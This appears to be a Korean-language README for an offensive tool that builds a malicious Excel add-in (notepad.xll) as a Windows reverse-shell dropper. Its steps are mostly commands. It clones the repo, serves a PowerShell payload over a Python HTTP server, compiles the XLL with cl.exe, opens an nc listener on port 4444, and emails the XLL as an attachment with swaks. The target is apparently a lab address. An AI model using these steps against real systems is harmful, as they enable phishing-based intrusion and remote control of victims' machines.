xll_windows_reverse_shell

xll 윈도우 리버스 셸

공격자(Kali) 머신에서:

git clone https://github.com/n3rdh4x0r/xll_windows_reverse_shell.git

1. revsh.ps1을 업데이트하세요.
2. python http 서버를 생성합니다.

python3 -m http.server 9999

공격자(Windows) 머신에서:

1. notpadXLL.c를 Windows 공격자 머신으로 이동하고 그에 맞게 notpadXLL.c를 업데이트하세요.
2. x64 Native Tools Command Prompt for VS 2022를 엽니다.
3. 아래 명령을 실행하여 notepad.xll을 생성합니다.

cl.exe /LD notepadXLL.c /link /out:notepad.xll

5. 이 notepad.xll을 Kali 머신으로 이동하세요.

Kali 머신에서

1. swaks를 다운로드합니다.

 curl -O https://jetmore.org/john/code/swaks/files/swaks-20240103.0/swaks

2. nc 리스너를 구성합니다.

nc -nlvp 4444

3. swaks를 사용하여 notepad.xll이 첨부된 이메일을 전송합니다:

./swaks --to [email protected] --from [email protected] --server 10.10.11.21 --port 25 --header "Subject: test" --body "test" --attach @notepad.xll